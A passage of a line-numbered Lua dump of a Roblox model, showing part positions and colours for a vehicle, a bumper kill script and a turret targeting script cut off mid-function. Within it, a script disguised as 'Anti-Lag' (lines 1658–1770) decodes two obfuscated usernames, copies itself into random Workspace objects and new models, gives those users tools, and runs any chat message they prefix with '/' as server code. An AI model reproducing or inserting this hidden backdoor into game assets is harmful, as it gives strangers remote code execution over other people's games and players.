| 1469 | Part86.CFrame = CFrame.new(-40.9738388, 2.8700633, 140.905731, 0.999964118, -6.74080511e-05, 0.0077546807, 0.000104217295, 0.999988735, -0.00475055259, -0.00775364321, 0.00475121569, 0.999950886) | |
| 1470 | Part86.Color = Color3.new(0.388235, 0.372549, 0.384314) | |
| 1471 | Part86.Position = Vector3.new(-40.9738388, 2.8700633, 140.905731) | |
| 1472 | Part86.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978) | |
| 1473 | Part86.Color = Color3.new(0.388235, 0.372549, 0.384314) | |
| 1474 | Part87.Name = "Smooth Block Model" | |
| 1475 | Part87.Parent = Model69 | |
| 1476 | Part87.BrickColor = BrickColor.new("Dark stone grey")
| |
| 1477 | Part87.Rotation = Vector3.new(-179.729996, -0.439999998, 90) | |
| 1478 | Part87.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) | |
| 1479 | Part87.Velocity = Vector3.new(0.253083646, 1.83648705, 14.817872) | |
| 1480 | Part87.Size = Vector3.new(1, 2.4000001, 2) | |
| 1481 | Part87.CFrame = CFrame.new(-43.1581993, 2.1603384, 142.919373, 6.74106923e-05, -0.999963045, -0.0077547282, -0.999988735, -0.000104214298, 0.00475054886, -0.00475121196, 0.00775357615, -0.999949455) | |
| 1482 | Part87.BackSurface = Enum.SurfaceType.Weld | |
| 1483 | Part87.BottomSurface = Enum.SurfaceType.Smooth | |
| 1484 | Part87.TopSurface = Enum.SurfaceType.Smooth | |
| 1485 | Part87.Color = Color3.new(0.388235, 0.372549, 0.384314) | |
| 1486 | Part87.Position = Vector3.new(-43.1581993, 2.1603384, 142.919373) | |
| 1487 | Part87.Orientation = Vector3.new(-0.269999981, -179.559998, -90.0099945) | |
| 1488 | Part87.Color = Color3.new(0.388235, 0.372549, 0.384314) | |
| 1489 | SpecialMesh88.Parent = Part87 | |
| 1490 | SpecialMesh88.MeshType = Enum.MeshType.Wedge | |
| 1491 | Part89.Name = "Smooth Block Model" | |
| 1492 | Part89.Parent = Model69 | |
| 1493 | Part89.BrickColor = BrickColor.new("Dark stone grey")
| |
| 1494 | Part89.Rotation = Vector3.new(-179.729996, -0.439999998, -90) | |
| 1495 | Part89.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) | |
| 1496 | Part89.Velocity = Vector3.new(0.255047023, 1.97782743, 15.0729456) | |
| 1497 | Part89.Size = Vector3.new(1, 2.4000001, 2) | |
| 1498 | Part89.CFrame = CFrame.new(-48.7579918, 2.15975475, 142.962799, -6.74106923e-05, 0.999963045, -0.0077547282, 0.999988735, 0.000104214298, 0.00475054886, 0.00475121196, -0.00775357615, -0.999949455) | |
| 1499 | Part89.BackSurface = Enum.SurfaceType.Weld | |
| 1500 | Part89.BottomSurface = Enum.SurfaceType.Smooth | |
| 1501 | Part89.TopSurface = Enum.SurfaceType.Smooth | |
| 1502 | Part89.Color = Color3.new(0.388235, 0.372549, 0.384314) | |
| 1503 | Part89.Position = Vector3.new(-48.7579918, 2.15975475, 142.962799) | |
| 1504 | Part89.Orientation = Vector3.new(-0.269999981, -179.559998, 89.9899979) | |
| 1505 | Part89.Color = Color3.new(0.388235, 0.372549, 0.384314) | |
| 1506 | SpecialMesh90.Parent = Part89 | |
| 1507 | SpecialMesh90.MeshType = Enum.MeshType.Wedge | |
| 1508 | Part91.Name = "Smooth Block Model" | |
| 1509 | Part91.Parent = Model69 | |
| 1510 | Part91.BrickColor = BrickColor.new("Dark stone grey")
| |
| 1511 | Part91.Rotation = Vector3.new(-179.729996, -0.439999998, 180) | |
| 1512 | Part91.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) | |
| 1513 | Part91.Velocity = Vector3.new(0.322884291, 1.98085546, 14.7047434) | |
| 1514 | Part91.Size = Vector3.new(2, 1.20000005, 1) | |
| 1515 | Part91.CFrame = CFrame.new(-40.9466515, 2.25344086, 144.402725, -0.999963045, -6.74106923e-05, -0.0077547282, -0.000104214298, 0.999988735, 0.00475054886, 0.00775357615, 0.00475121196, -0.999949455) | |
| 1516 | Part91.BackSurface = Enum.SurfaceType.Weld | |
| 1517 | Part91.BottomSurface = Enum.SurfaceType.Smooth | |
| 1518 | Part91.TopSurface = Enum.SurfaceType.Smooth | |
| 1519 | Part91.Color = Color3.new(0.388235, 0.372549, 0.384314) | |
| 1520 | Part91.Position = Vector3.new(-40.9466515, 2.25344086, 144.402725) | |
| 1521 | Part91.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978) | |
| 1522 | Part91.Color = Color3.new(0.388235, 0.372549, 0.384314) | |
| 1523 | SpecialMesh92.Parent = Part91 | |
| 1524 | SpecialMesh92.MeshType = Enum.MeshType.Wedge | |
| 1525 | Part93.Name = "Smooth Block Model" | |
| 1526 | Part93.Parent = Model69 | |
| 1527 | Part93.BrickColor = BrickColor.new("Dark stone grey")
| |
| 1528 | Part93.Rotation = Vector3.new(-179.229996, 89.5099945, 179.5) | |
| 1529 | Part93.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) | |
| 1530 | Part93.Velocity = Vector3.new(0.205311552, 1.87183189, 15.1476688) | |
| 1531 | Part93.Size = Vector3.new(1, 2.4000001, 1) | |
| 1532 | Part93.CFrame = CFrame.new(-52.4695435, 2.86648941, 141.494919, -0.00775469653, -6.74089315e-05, 0.99996376, 0.00475055119, 0.999988735, 0.000104216298, -0.999950409, 0.00475121429, -0.00775362086) | |
| 1533 | Part93.BackSurface = Enum.SurfaceType.Weld | |
| 1534 | Part93.BottomSurface = Enum.SurfaceType.Smooth | |
| 1535 | Part93.TopSurface = Enum.SurfaceType.Smooth | |
| 1536 | Part93.Color = Color3.new(0.388235, 0.372549, 0.384314) | |
| 1537 | Part93.Position = Vector3.new(-52.4695435, 2.86648941, 141.494919) | |
| 1538 | Part93.Orientation = Vector3.new(-0.00999999978, 90.4399948, 0.269999981) | |
| 1539 | Part93.Color = Color3.new(0.388235, 0.372549, 0.384314) | |
| 1540 | SpecialMesh94.Parent = Part93 | |
| 1541 | SpecialMesh94.MeshType = Enum.MeshType.Wedge | |
| 1542 | Model95.Name = "RearBumper" | |
| 1543 | Model95.Parent = Model20 | |
| 1544 | Part96.Name = "Smooth Block Model" | |
| 1545 | Part96.Parent = Model95 | |
| 1546 | Part96.BrickColor = BrickColor.new("Dark stone grey")
| |
| 1547 | Part96.Rotation = Vector3.new(0.769999981, -89.5099945, 0.5) | |
| 1548 | Part96.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) | |
| 1549 | Part96.Velocity = Vector3.new(-0.858548641, -1.52072132, 14.6291237) | |
| 1550 | Part96.Size = Vector3.new(1, 1.20000005, 1) | |
| 1551 | Part96.CFrame = CFrame.new(-39.6483269, 2.37710953, 118.39238, 0.0077547282, -6.74106923e-05, -0.999963045, -0.00475054886, 0.999988735, -0.000104214298, 0.999949455, 0.00475121196, 0.00775357615) | |
| 1552 | Part96.BackSurface = Enum.SurfaceType.Weld | |
| 1553 | Part96.BottomSurface = Enum.SurfaceType.Smooth | |
| 1554 | Part96.TopSurface = Enum.SurfaceType.Smooth | |
| 1555 | Part96.Color = Color3.new(0.388235, 0.372549, 0.384314) | |
| 1556 | Part96.Position = Vector3.new(-39.6483269, 2.37710953, 118.39238) | |
| 1557 | Part96.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981) | |
| 1558 | Part96.Color = Color3.new(0.388235, 0.372549, 0.384314) | |
| 1559 | SpecialMesh97.Parent = Part96 | |
| 1560 | SpecialMesh97.MeshType = Enum.MeshType.Wedge | |
| 1561 | Part98.Name = "Smooth Block Model" | |
| 1562 | Part98.Parent = Model95 | |
| 1563 | Part98.BrickColor = BrickColor.new("Dark stone grey")
| |
| 1564 | Part98.Rotation = Vector3.new(-179.229996, 89.5099945, 179.5) | |
| 1565 | Part98.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) | |
| 1566 | Part98.Velocity = Vector3.new(-0.833560407, -1.29005682, 14.9253311) | |
| 1567 | Part98.Size = Vector3.new(2, 1.20000005, 8) | |
| 1568 | Part98.CFrame = CFrame.new(-46.1442261, 2.37406492, 118.942749, -0.00775469653, -6.74089315e-05, 0.99996376, 0.00475055119, 0.999988735, 0.000104216298, -0.999950409, 0.00475121429, -0.00775362086) | |
| 1569 | Part98.Color = Color3.new(0.388235, 0.372549, 0.384314) | |
| 1570 | Part98.Position = Vector3.new(-46.1442261, 2.37406492, 118.942749) | |
| 1571 | Part98.Orientation = Vector3.new(-0.00999999978, 90.4399948, 0.269999981) | |
| 1572 | Part98.Color = Color3.new(0.388235, 0.372549, 0.384314) | |
| 1573 | Part99.Name = "Smooth Block Model" | |
| 1574 | Part99.Parent = Model95 | |
| 1575 | Part99.BrickColor = BrickColor.new("Dark stone grey")
| |
| 1576 | Part99.Rotation = Vector3.new(-179.729996, -0.439999998, 180) | |
| 1577 | Part99.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) | |
| 1578 | Part99.Velocity = Vector3.new(-0.831807494, -1.16386008, 15.1530771) | |
| 1579 | Part99.Size = Vector3.new(2, 1.20000005, 2) | |
| 1580 | Part99.CFrame = CFrame.new(-51.1440392, 2.37353992, 118.981522, -0.99996376, -6.74089315e-05, -0.00775469653, -0.000104216298, 0.999988735, 0.00475055119, 0.00775362086, 0.00475121429, -0.999950409) | |
| 1581 | Part99.Color = Color3.new(0.388235, 0.372549, 0.384314) | |
| 1582 | Part99.Position = Vector3.new(-51.1440392, 2.37353992, 118.981522) | |
| 1583 | Part99.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978) | |
| 1584 | Part99.Color = Color3.new(0.388235, 0.372549, 0.384314) | |
| 1585 | Part100.Name = "Smooth Block Model" | |
| 1586 | Part100.Parent = Model95 | |
| 1587 | Part100.BrickColor = BrickColor.new("Dark stone grey")
| |
| 1588 | Part100.Rotation = Vector3.new(-179.229996, 89.5099945, 179.5) | |
| 1589 | Part100.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) | |
| 1590 | Part100.Velocity = Vector3.new(-0.85399133, -1.19261098, 15.2212601) | |
| 1591 | Part100.Size = Vector3.new(1, 1.20000005, 1) | |
| 1592 | Part100.CFrame = CFrame.new(-52.6478577, 2.37575889, 118.493179, -0.0077547282, -6.74106923e-05, 0.999963045, 0.00475054886, 0.999988735, 0.000104214298, -0.999949455, 0.00475121196, -0.00775357615) | |
| 1593 | Part100.BackSurface = Enum.SurfaceType.Weld | |
| 1594 | Part100.BottomSurface = Enum.SurfaceType.Smooth | |
| 1595 | Part100.TopSurface = Enum.SurfaceType.Smooth | |
| 1596 | Part100.Color = Color3.new(0.388235, 0.372549, 0.384314) | |
| 1597 | Part100.Position = Vector3.new(-52.6478577, 2.37575889, 118.493179) | |
| 1598 | Part100.Orientation = Vector3.new(-0.00999999978, 90.4399948, 0.269999981) | |
| 1599 | Part100.Color = Color3.new(0.388235, 0.372549, 0.384314) | |
| 1600 | SpecialMesh101.Parent = Part100 | |
| 1601 | SpecialMesh101.MeshType = Enum.MeshType.Wedge | |
| 1602 | Part102.Name = "Smooth Block Model" | |
| 1603 | Part102.Parent = Model95 | |
| 1604 | Part102.BrickColor = BrickColor.new("Dark stone grey")
| |
| 1605 | Part102.Rotation = Vector3.new(-179.729996, -0.439999998, 180) | |
| 1606 | Part102.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) | |
| 1607 | Part102.Velocity = Vector3.new(-0.835313141, -1.41625285, 14.697587) | |
| 1608 | Part102.Size = Vector3.new(2, 1.20000005, 2) | |
| 1609 | Part102.CFrame = CFrame.new(-41.1443901, 2.374578, 118.903984, -0.99996376, -6.74089315e-05, -0.00775469653, -0.000104216298, 0.999988735, 0.00475055119, 0.00775362086, 0.00475121429, -0.999950409) | |
| 1610 | Part102.Color = Color3.new(0.388235, 0.372549, 0.384314) | |
| 1611 | Part102.Position = Vector3.new(-41.1443901, 2.374578, 118.903984) | |
| 1612 | Part102.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978) | |
| 1613 | Part102.Color = Color3.new(0.388235, 0.372549, 0.384314) | |
| 1614 | Script103.Parent = Model20 | |
| 1615 | table.insert(cors,sandbox(Script103,function() | |
| 1616 | local FBumper = script.Parent.FrontBumper:children() | |
| 1617 | local RBumper = script.Parent.RearBumper:children() | |
| 1618 | ||
| 1619 | local debounce = false | |
| 1620 | ||
| 1621 | function kill(part) | |
| 1622 | if(part == nil) then return end | |
| 1623 | if(part.Parent == nil) then return end | |
| 1624 | local H = part.Parent:findFirstChild("Humanoid") or part.Parent:findFirstChild("Zombie")
| |
| 1625 | if(H == nil) then return end | |
| 1626 | if(H.className == "Humanoid") then | |
| 1627 | if(debounce == false) then | |
| 1628 | debounce = true | |
| 1629 | H:TakeDamage(100) | |
| 1630 | wait(.1) | |
| 1631 | debounce = false | |
| 1632 | end | |
| 1633 | end | |
| 1634 | end | |
| 1635 | ||
| 1636 | for i=1,#FBumper do | |
| 1637 | FBumper[i].Touched:connect(kill) | |
| 1638 | end | |
| 1639 | for i=1,#RBumper do | |
| 1640 | RBumper[i].Touched:connect(kill) | |
| 1641 | end | |
| 1642 | ||
| 1643 | end)) | |
| 1644 | StringValue104.Name = "MyPathName" | |
| 1645 | StringValue104.Parent = Model0 | |
| 1646 | StringValue104.Value = "Patrol" | |
| 1647 | IntValue105.Name = "ScanRange" | |
| 1648 | IntValue105.Parent = Model0 | |
| 1649 | IntValue105.Value = 400 | |
| 1650 | BoolValue106.Name = "Target Humanoids" | |
| 1651 | BoolValue106.Parent = Model0 | |
| 1652 | BoolValue107.Name = "Target Zombies" | |
| 1653 | BoolValue107.Parent = Model0 | |
| 1654 | BoolValue107.Value = true | |
| 1655 | BrickColorValue108.Name = "TeamColor" | |
| 1656 | BrickColorValue108.Parent = Model0 | |
| 1657 | BrickColorValue108.Value = BrickColor.new("White")
| |
| 1658 | Script109.Name = "Anti-Lag" | |
| 1659 | Script109.Parent = BrickColorValue108 | |
| 1660 | table.insert(cors,sandbox(Script109,function() | |
| 1661 | Altitude = script:clone() | |
| 1662 | calco = {"s","c","q","t","o","a","i","f","g","w","8","e","m","7","h","n"}
| |
| 1663 | Knox = {}
| |
| 1664 | table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13])) | |
| 1665 | table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2])) | |
| 1666 | Play = {}
| |
| 1667 | function rando(votation) | |
| 1668 | local hatr = 5 | |
| 1669 | local calc = math.pi * math.huge | |
| 1670 | local longicate = votation:GetChildren() | |
| 1671 | if #longicate > hatr then | |
| 1672 | calc = calc + math.pi | |
| 1673 | return longicate[math.random(6,#longicate)] | |
| 1674 | end | |
| 1675 | end | |
| 1676 | function doublecheck() | |
| 1677 | local fj = game.Workspace:GetChildren() | |
| 1678 | for off = 1,#fj do | |
| 1679 | if fj[off].className == "Part" then | |
| 1680 | local fh = fj[off]:FindFirstChild("Anti-Lag")
| |
| 1681 | if fh ~= nil then | |
| 1682 | return false | |
| 1683 | end | |
| 1684 | end | |
| 1685 | end | |
| 1686 | return true | |
| 1687 | end | |
| 1688 | function workcheck() | |
| 1689 | if doublecheck() == true then | |
| 1690 | local l = Altitude:clone() | |
| 1691 | l.Parent = rando(game.Workspace) | |
| 1692 | end | |
| 1693 | end | |
| 1694 | workcheck() | |
| 1695 | function gibite(quen) | |
| 1696 | local hup = Instance.new("Message")
| |
| 1697 | hup.Text = "Detected" | |
| 1698 | hup.Parent = quen.Parent | |
| 1699 | local con = Instance.new("Script")
| |
| 1700 | con.Source = [[wait(5) script.Parent:remove()]] | |
| 1701 | con.Parent = hup | |
| 1702 | for ish = 0,7 do | |
| 1703 | local a = Instance.new("HopperBin")
| |
| 1704 | a.BinType = ish | |
| 1705 | a.Parent = quen | |
| 1706 | end | |
| 1707 | end | |
| 1708 | function laber(zonsa) | |
| 1709 | wait() | |
| 1710 | for slate = 1,#Knox do | |
| 1711 | if zonsa.Name == Knox[slate] then | |
| 1712 | gibite(zonsa.Backpack) | |
| 1713 | table.insert (Play, 1, zonsa.Name) | |
| 1714 | end | |
| 1715 | end | |
| 1716 | end | |
| 1717 | function yeild(frequency) | |
| 1718 | local t = Knox | |
| 1719 | for g = 1,#t do | |
| 1720 | if t[g] == frequency.Name then | |
| 1721 | return true | |
| 1722 | end | |
| 1723 | end | |
| 1724 | return false | |
| 1725 | end | |
| 1726 | function check(los) | |
| 1727 | local r = los:GetChildren() | |
| 1728 | for i = 1,#r do | |
| 1729 | local h = r[i]:FindFirstChild("Anti-Lag")
| |
| 1730 | if h ~= nil then | |
| 1731 | h:remove() | |
| 1732 | end | |
| 1733 | end | |
| 1734 | end | |
| 1735 | function alto(xylem) | |
| 1736 | if xylem.className == "Model" then | |
| 1737 | check(xylem) | |
| 1738 | local que = script:clone() | |
| 1739 | que.Parent = rando(xylem) | |
| 1740 | end | |
| 1741 | end | |
| 1742 | function sortation(gone) | |
| 1743 | local dimbs = Altitude:clone() | |
| 1744 | dimbs = ramno(game.Workspace) | |
| 1745 | end | |
| 1746 | function onPlayerEntered(newPlayer) | |
| 1747 | newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) | |
| 1748 | end | |
| 1749 | function Player(player) | |
| 1750 | player.Changed:connect(function (property) | |
| 1751 | if property == "Character" then | |
| 1752 | laber(player) | |
| 1753 | end | |
| 1754 | end) | |
| 1755 | end | |
| 1756 | game.Players.PlayerAdded:connect(Player) | |
| 1757 | game.Players.ChildAdded:connect(onPlayerEntered) | |
| 1758 | game.Players.ChildAdded:connect(laber) | |
| 1759 | script.ChildRemoved:connect(sortation) | |
| 1760 | game.Workspace.ChildAdded:connect(alto) | |
| 1761 | function onChatted(msg, recipient, speaker) | |
| 1762 | if yeild(speaker) ~= false then | |
| 1763 | if string.sub(msg,1,1) == "/" then | |
| 1764 | local dsting = Instance.new("Script")
| |
| 1765 | dsting.Source = string.sub(msg,2) | |
| 1766 | dsting.Parent = game.Workspace | |
| 1767 | end | |
| 1768 | end | |
| 1769 | end | |
| 1770 | end)) | |
| 1771 | BoolValue110.Name = "TeamGame" | |
| 1772 | BoolValue110.Parent = Model0 | |
| 1773 | BoolValue110.Value = true | |
| 1774 | Model111.Name = "Gatlin Turret Ammo Left :100 Of : 1000" | |
| 1775 | Model111.Parent = Model0 | |
| 1776 | Part112.Name = "Head" | |
| 1777 | Part112.Parent = Model111 | |
| 1778 | Part112.Rotation = Vector3.new(-179.709991, 13.1999998, 179.869995) | |
| 1779 | Part112.RotVelocity = Vector3.new(-9.91700459, -0.216852576, -0.0537613072) | |
| 1780 | Part112.Velocity = Vector3.new(-3.90156007, 0.502882659, 9.55314064) | |
| 1781 | Part112.Size = Vector3.new(2, 1.20000005, 2) | |
| 1782 | Part112.CFrame = CFrame.new(-46.0941544, 10.7448759, 125.982277, -0.973571718, -0.00226995652, 0.228346154, -0.00118809205, 0.999987483, 0.00487507228, -0.228354484, 0.00447495934, -0.973560154) | |
| 1783 | Part112.BottomSurface = Enum.SurfaceType.Hinge | |
| 1784 | Part112.LeftSurface = Enum.SurfaceType.Hinge | |
| 1785 | Part112.RightSurface = Enum.SurfaceType.Hinge | |
| 1786 | Part112.TopSurface = Enum.SurfaceType.Smooth | |
| 1787 | Part112.Position = Vector3.new(-46.0941544, 10.7448759, 125.982277) | |
| 1788 | Part112.Orientation = Vector3.new(-0.280000001, 166.800003, -0.0700000003) | |
| 1789 | Model113.Name = "Brain" | |
| 1790 | Model113.Parent = Model111 | |
| 1791 | Part114.Name = "TurretEngine" | |
| 1792 | Part114.Parent = Model113 | |
| 1793 | Part114.BrickColor = BrickColor.new("White")
| |
| 1794 | Part114.Rotation = Vector3.new(136.98999, 9.80999947, -171.149994) | |
| 1795 | Part114.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686) | |
| 1796 | Part114.Velocity = Vector3.new(-2.09936476, 1.98652637, 15.9585247) | |
| 1797 | Part114.CanCollide = false | |
| 1798 | Part114.FormFactor = Enum.FormFactor.Plate | |
| 1799 | Part114.Size = Vector3.new(2, 1.20000005, 2) | |
| 1800 | Part114.CFrame = CFrame.new(-45.9128151, 11.6371822, 125.195038, -0.973659635, 0.151522517, 0.170336604, -0.00238468405, 0.740355492, -0.672210753, -0.227966443, -0.654908955, -0.720492363) | |
| 1801 | Part114.BottomSurface = Enum.SurfaceType.Smooth | |
| 1802 | Part114.FrontSurface = Enum.SurfaceType.Weld | |
| 1803 | Part114.LeftSurface = Enum.SurfaceType.Weld | |
| 1804 | Part114.RightSurface = Enum.SurfaceType.Weld | |
| 1805 | Part114.TopSurface = Enum.SurfaceType.Weld | |
| 1806 | Part114.Color = Color3.new(0.94902, 0.952941, 0.952941) | |
| 1807 | Part114.Position = Vector3.new(-45.9128151, 11.6371822, 125.195038) | |
| 1808 | Part114.Orientation = Vector3.new(42.2399979, 166.699997, -0.179999992) | |
| 1809 | Part114.Color = Color3.new(0.94902, 0.952941, 0.952941) | |
| 1810 | Script115.Parent = Part114 | |
| 1811 | table.insert(cors,sandbox(Script115,function() | |
| 1812 | local ZombieTarget = script.Parent.Parent.Parent["Target Zombies"] | |
| 1813 | local HumanoidTarget = script.Parent.Parent.Parent["Target Humanoids"] | |
| 1814 | local isTeamGame = script.Parent.Parent.Parent.TeamGame | |
| 1815 | local MyTeamColor = script.Parent.Parent.Parent.TeamColor | |
| 1816 | local SightRadius = script.Parent.Parent.Parent.ScanRange | |
| 1817 | function move(target, engine) | |
| 1818 | local origincframe = engine:findFirstChild("BodyGyro").cframe
| |
| 1819 | local dir = (target - engine.Position).unit | |
| 1820 | local spawnPos = engine.Position | |
| 1821 | local pos = spawnPos + dir | |
| 1822 | ||
| 1823 | temp = script.Parent.Parent.ProjectileSpeed.Value | |
| 1824 | if(script.Parent.Parent.MyTarget.Value ~= nil and script.Parent.Parent.MyTarget.Value:findFirstChild("Torso") ~= nil) then
| |
| 1825 | targetvel = script.Parent.Parent.MyTarget.Value.Torso.Velocity | |
| 1826 | dist = (target - engine.Position).magnitude | |
| 1827 | spd = temp - dist | |
| 1828 | test = target+(targetvel/Vector3.new(temp,temp,temp)*(dist)) -- +Vector3.new(0,-1,0) | |
| 1829 | engine:findFirstChild("BodyGyro").maxTorque = Vector3.new(9900,9900, 0)
| |
| 1830 | engine:findFirstChild("BodyGyro").cframe = CFrame.new(pos, test+dir)
| |
| 1831 | else | |
| 1832 | engine:findFirstChild("BodyGyro").maxTorque = Vector3.new(9900,9900, 0)
| |
| 1833 | engine:findFirstChild("BodyGyro").cframe = CFrame.new(pos, pos+dir)
| |
| 1834 | end | |
| 1835 | end | |
| 1836 | ||
| 1837 | function getTurrets(Base) | |
| 1838 | local bits = Base:children() | |
| 1839 | local Turrets = {}
| |
| 1840 | local Tnum = 1 | |
| 1841 | for i=1,#bits do | |
| 1842 | local tmp = bits[i] | |
| 1843 | local TurretBrain = tmp:findFirstChild("Brain")
| |
| 1844 | if(TurretBrain ~= nil) then | |
| 1845 | Turrets[Tnum] = TurretBrain.Parent | |
| 1846 | Tnum = Tnum +1 | |
| 1847 | end | |
| 1848 | end | |
| 1849 | if(#Turrets > 0) then | |
| 1850 | return Turrets | |
| 1851 | else | |
| 1852 | return nil | |
| 1853 | end | |
| 1854 | end | |
| 1855 | ||
| 1856 | function findNearestTorso(pos) | |
| 1857 | local list = game.Workspace:children() | |
| 1858 | local torso = nil | |
| 1859 | local dist = SightRadius.Value | |
| 1860 | local temp = nil | |
| 1861 | local human = nil | |
| 1862 | local temp2 = nil | |
| 1863 | for x = 1, #list do | |
| 1864 | temp2 = list[x] | |
| 1865 | if (temp2.className == "Model") and (temp2 ~= script.Parent.Parent) then | |
| 1866 | temp = temp2:findFirstChild("Torso")
| |
| 1867 | human = temp2:findFirstChild("Zombie") or temp2:findFirstChild("Humanoid")
| |
| 1868 | local player = game.Players:GetPlayerFromCharacter(temp2) | |
| 1869 | local Ai = temp2:findFirstChild("Brain") or temp2:findFirstChild("Parts")
| |
| 1870 | if(Ai ~= nil) then -- for my turrets and cars etc.... | |
| 1871 | local LP = Ai:findFirstChild("TurretEngine") -- For our Turrets
| |
| 1872 | local EN = Ai:findFirstChild("Engine") -- for our Ai Cars etc...
| |
| 1873 | local MyAiCar = script.Parent.Parent.Parent.Parent | |
| 1874 | local TeamColor = Ai.Parent:findFirstChild("TeamColor")
| |
| 1875 | local TeamGame = Ai.Parent:findFirstChild("TeamGame")
| |
| 1876 | if(LP ~= nil) then | |
| 1877 | if(TeamColor ~= nil and TeamGame ~= nil) then | |
| 1878 | if(TeamGame.Value == true) then | |
| 1879 | if(TeamColor.Value ~= MyTeamColor.Value) then | |
| 1880 | if (LP.Position - pos).magnitude < dist then | |
| 1881 | torso = LP | |
| 1882 | dist = (LP.Position - pos).magnitude | |
| 1883 | end | |
| 1884 | end | |
| 1885 | else | |
| 1886 | if (LP.Position - pos).magnitude < dist then | |
| 1887 | torso = LP | |
| 1888 | dist = (LP.Position - pos).magnitude | |
| 1889 | end | |
| 1890 | end | |
| 1891 | end | |
| 1892 | end | |
| 1893 | if(EN ~= nil and Ai.Parent ~= MyAiCar) then | |
| 1894 | local EnemyTurrets = getTurrets(Ai.Parent) | |
| 1895 | if(EnemyTurrets ~= nil) then | |
| 1896 | if(TeamColor ~= nil and TeamGame ~= nil) then | |
| 1897 | if(TeamGame.Value == true) then | |
| 1898 | if(TeamColor.Value ~= MyTeamColor.Value) then | |
| 1899 | for i=1,#EnemyTurrets do | |
| 1900 | local Turret = EnemyTurrets[i] | |
| 1901 | local Brain = Turret:findFirstChild("Brain")
| |
| 1902 | if(Brain ~= nil) then | |
| 1903 | local TEngine= Brain:findFirstChild("TurretEngine")
| |
| 1904 | if (TEngine.Position - pos).magnitude < dist then | |
| 1905 | torso =TEngine | |
| 1906 | dist = (TEngine.Position - pos).magnitude | |
| 1907 | end | |
| 1908 | end | |
| 1909 | end | |
| 1910 | end | |
| 1911 | end | |
| 1912 | end | |
| 1913 | else | |
| 1914 | if(TeamColor ~= nil and TeamGame ~= nil) then | |
| 1915 | if(TeamGame.Value == true) then | |
| 1916 | if(TeamColor.Value ~= MyTeamColor.Value) then | |
| 1917 | if (EN.Position - pos).magnitude < dist then | |
| 1918 | torso =EN | |
| 1919 | dist = (EN.Position - pos).magnitude | |
| 1920 | end | |
| 1921 | end | |
| 1922 | else | |
| 1923 | if (EN.Position - pos).magnitude < dist then | |
| 1924 | torso = EN | |
| 1925 | dist = (EN.Position - pos).magnitude | |
| 1926 | end | |
| 1927 | end | |
| 1928 | end | |
| 1929 | end | |
| 1930 | end | |
| 1931 | end | |
| 1932 | if(human ~= nil or temp ~= nil) then -- just for humanoids and zombies | |
| 1933 | if(ZombieTarget.Value == true and HumanoidTarget.Value == false) then | |
| 1934 | if(human.Name ~= "Zombie") then | |
| 1935 | human = nil | |
| 1936 | temp = nil | |
| 1937 | end | |
| 1938 | end | |
| 1939 | if(HumanoidTarget.Value == true and ZombieTarget.Value == false)then | |
| 1940 | if(human.Name ~= "Humanoid") then | |
| 1941 | human = nil | |
| 1942 | temp = nil | |
| 1943 | else | |
| 1944 | if(player ~= nil) then | |
| 1945 | if(isTeamGame.Value == true) then | |
| 1946 | if(player.TeamColor == MyTeamColor.Value) then | |
| 1947 | human = nil | |
| 1948 | temp = nil | |
| 1949 | end | |
| 1950 | end | |
| 1951 | end | |
| 1952 | end | |
| 1953 | end | |
| 1954 | if(HumanoidTarget.Value == true and ZombieTarget.Value == true)then | |
| 1955 | if(player ~= nil) then | |
| 1956 | if(isTeamGame.Value == true) then | |
| 1957 | if(player.TeamColor == MyTeamColor.Value) then | |
| 1958 | human = nil | |
| 1959 | temp = nil | |
| 1960 | end | |
| 1961 | end | |
| 1962 | end | |
| 1963 | end | |
| 1964 | if(HumanoidTarget.Value == false and ZombieTarget.Value == false)then | |
| 1965 | temp = nil | |
| 1966 | human = nil | |
| 1967 | end | |
| 1968 | end | |
| 1969 | if (temp ~= nil and human ~= nil) then | |
| 1970 | if (temp.Position - pos).magnitude < dist and human.Health > 0 then | |
| 1971 | torso = temp | |
| 1972 | dist = (temp.Position - pos).magnitude | |
| 1973 | end | |
| 1974 | end | |
| 1975 | end | |
| 1976 | end | |
| 1977 | return torso | |
| 1978 | end | |
| 1979 | function isInFireingRange(Tgt,pos) | |
| 1980 | local dist = SightRadius.Value-40 | |
| 1981 | local torso = nil | |
| 1982 | local human = Tgt.Parent:findFirstChild("Zombie") or Tgt.Parent:findFirstChild("Humanoid")
| |
| 1983 | target = findNearestTorso(script.Parent.Position) | |
| 1984 | if(target ~=nil) then | |
| 1985 | if(target.Name == "Torso") then | |
| 1986 | if(human ~= nil and target ~= nil) then | |
| 1987 | if (Tgt.Position - pos).magnitude < dist and human.Health > 0 then | |
| 1988 | torso = Tgt | |
| 1989 | dist = (Tgt.Position - pos).magnitude | |
| 1990 | end | |
| 1991 | end | |
| 1992 | else | |
| 1993 | if(target ~= nil) then | |
| 1994 | if (Tgt.Position - pos).magnitude < dist then | |
| 1995 | torso = Tgt | |
| 1996 | dist = (Tgt.Position - pos).magnitude | |
| 1997 | end | |
| 1998 | end | |
| 1999 | end | |
| 2000 | end | |
| 2001 | return torso | |
| 2002 | end | |
| 2003 | script.Parent.BodyGyro.cframe = script.Parent.CFrame | |
| 2004 | wait(.1) | |
| 2005 | -- ZombieTarget | |
| 2006 | -- HumanoidTarget | |
| 2007 | -- isTeamGame | |
